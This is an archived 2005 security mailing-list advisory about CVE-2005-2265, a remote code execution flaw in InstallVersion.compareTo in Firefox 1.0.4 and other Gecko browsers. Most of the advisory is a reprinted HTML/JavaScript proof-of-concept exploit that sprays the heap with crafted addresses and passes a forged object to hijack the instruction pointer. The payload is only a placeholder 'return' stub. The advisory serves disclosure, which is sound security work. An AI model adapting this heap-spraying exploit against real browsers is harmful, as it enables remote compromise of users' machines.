

[NEWS] Gecko InstallVersion.compareTo Code Execution (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00038.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 13 Dec 2005 17:17:02 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Gecko InstallVersion.compareTo Code Execution (Exploit)

SUMMARY

Attackers can cause a DoS and execute arbitrary code on Gecko based browsers by using the Javascript function InstallVersion.compareTo with an object instead of the supposed string.

DETAILS

Vulnerable Systems:

- * Firefox version 1.0.4 and prior
- * Mozilla Suite version 1.7.8 and prior
- * Netscape version 8.0.2
- * Netscape version 7.2

Immune Systems:

- * Firefox 1.0.5 and above
- * Mozilla Suite version 1.7.9 and above

When InstallVersion.compareTo() is passed an object rather than a string it assumed the object was another InstallVersion without verifying it. When passed a different kind of object the browser would generally crash

[NEWS] Gecko InstallVersion.compareTo Code Execution (Exploit)

with an access violation.

shutdown has demonstrated that different Javascript objects can be passed on some OS versions to get control over the instruction pointer. We assume this could be developed further to run arbitrary machine code if the attacker can get exploit code loaded at a predictable address.

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2265>>
CVE-2005-2265

Exploit:

< html>

< head>

<!--

Copyright (C) 2005-2006 Aviv Raff

From: <http://aviv.raffon.net/2005/12/11/>

MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx

Greets: SkyLined, The Insider and shutdown

-->

<title>Mozilla (Firefox<=v1.04) InstallVersion->compareTo Remote Code Execution Exploit</title>

<script language="javascript">

```
function BodyOnLoad()
```

```
{
```

```
location.href="javascript:void (new InstallVersion());";
```

```
CrashAndBurn();
```

```
};
```

```
// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
```

```
function CrashAndBurn()
```

```
{
```

```
// Spray up to this address
```

```
var heapSprayToAddress=0x12000000;
```

```
// Payload - Just return..
```

```
var payLoadCode=unescape("%u9090%u90C3");
```

```
// Size of the heap blocks
```

```
var heapBlockSize=0x400000;
```

```
// Size of the payload in bytes
```

```
var payLoadSize=payLoadCode.length * 2;
```

```
// Caluclate spray slides size
```

```
var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header
```

```
// Set first spray slide ("pdata") with "pvtbl" fake address -
```

```
0x11C0002C
```

[NEWS] Gecko InstallVersion.compareTo Code Execution (Exploit)

```
var spraySlide1 = unescape("%u002C%u11C0");
//var spraySlide1 = unescape("%u7070%u7070"); // For testing
spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);

var spraySlide2 = unescape("%u002C%u1200"); //0x1200002C
//var spraySlide2 = unescape("%u8080%u8080"); // For testing
spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

var spraySlide3 = unescape("%u9090%u9090");
spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);

// Spray the heap
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
//alert(spraySlide2.length); return;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i]=(i%3==0) ? spraySlide1 + payLoadCode:
(i%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
}

// Set address to fake "pdata".
var eaxAddress = 0x1180002C;
// This was taken from shutdown's PoC in bugzilla
// struct vtbl { void (*code)(void); };
// struct data { struct vtbl *pvtbl; };
//
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
// pdata->pvtbl->code(pdata);
//
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}

function getSpraySlide(spraySlide, spraySlideSize) {
while (spraySlide.length*2<spraySlideSize)
{
spraySlide+=spraySlide;
}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

// -->
</ script>
</ head>
< body onload="BodyOnLoad()">
</ body>
</ html>
```

ADDITIONAL INFORMATION

[NEWS] Gecko InstallVersion.compareTo Code Execution (Exploit)

The information has been provided by <<mailto:avivra@xxxxxxxxxx>> Aviv Raff.

The original article can be found at: <<http://aviv.raffon.net/>>

<http://aviv.raffon.net/>

The vendor advisory can be found at:

<<http://www.mozilla.org/security/announce/mfsa2005-50.html>>

<http://www.mozilla.org/security/announce/mfsa2005-50.html>

The vendor bug report can be found at:

<https://bugzilla.mozilla.org/show_bug.cgi?id=295854>

https://bugzilla.mozilla.org/show_bug.cgi?id=295854

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [***\[NEWS\] NetGear RP114 Flooding DoS***](#)
 - Next by Date: [***\[NT\] Pocket Controller Professional Unauthorized Access Vulnerability***](#)
 - Previous by thread: [***\[NEWS\] NetGear RP114 Flooding DoS***](#)
 - Next by thread: [***\[NT\] Pocket Controller Professional Unauthorized Access Vulnerability***](#)
 - Index(es):
 - ◆ [***Date***](#)
 - ◆ [***Thread***](#)